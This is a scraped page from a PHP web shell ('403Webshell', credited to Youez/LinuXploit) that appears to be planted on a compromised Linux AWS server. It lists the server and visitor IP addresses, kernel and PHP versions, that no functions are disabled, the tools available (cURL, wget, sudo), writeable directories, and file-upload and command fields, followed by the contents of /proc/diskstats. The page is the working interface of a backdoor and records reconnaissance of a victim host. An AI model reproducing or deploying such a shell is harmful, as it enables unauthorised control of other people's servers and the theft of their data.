403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/diskstats
   7       0 loop0 20354 0 1654563 6544 0 0 0 0 0 6544 6544 0 0 0 0 0 0
   7       1 loop1 2677 0 201618 803 0 0 0 0 0 806 803 0 0 0 0 0 0
   7       2 loop2 359 0 7330 194 0 0 0 0 0 189 194 0 0 0 0 0 0
   7       3 loop3 115379 0 2726542 11294 0 0 0 0 0 11237 11294 0 0 0 0 0 0
   7       4 loop4 20763 0 449052 5587 0 0 0 0 0 5662 5587 0 0 0 0 0 0
   7       5 loop5 5377 0 436984 2809 0 0 0 0 0 2834 2809 0 0 0 0 0 0
   7       6 loop6 27099 0 1141036 6198 0 0 0 0 0 6187 6198 0 0 0 0 0 0
   7       7 loop7 6883 0 553093 2998 0 0 0 0 0 3000 2998 0 0 0 0 0 0
 259       0 nvme0n1 2307888 318858 229593045 2487007 45923309 21227294 1326946788 47324550 0 27706471 49811558 0 0 0 0 0 0
 259       1 nvme0n1p1 2299838 318173 228782138 2480770 45917896 21226317 1324674904 47307468 0 35568477 49788238 0 0 0 0 0 0
 259       2 nvme0n1p14 260 0 2310 113 0 0 0 0 0 114 113 0 0 0 0 0 0
 259       3 nvme0n1p15 419 610 18530 249 2 0 2 2 0 167 252 0 0 0 0 0 0
 259       4 nvme0n1p16 1232 75 321046 1455 5406 969 2271778 17076 0 3605 18532 0 0 0 0 0 0
   7       8 loop8 39014 0 954140 5690 0 0 0 0 0 5750 5690 0 0 0 0 0 0
   7       9 loop9 10742 0 265250 2248 0 0 0 0 0 2303 2248 0 0 0 0 0 0
   7      10 loop10 1655 0 123188 665 0 0 0 0 0 652 665 0 0 0 0 0 0
   7      11 loop11 35729 0 563426 7040 0 0 0 0 0 7058 7040 0 0 0 0 0 0

Youez - 2016 - github.com/yon3zu
LinuXploit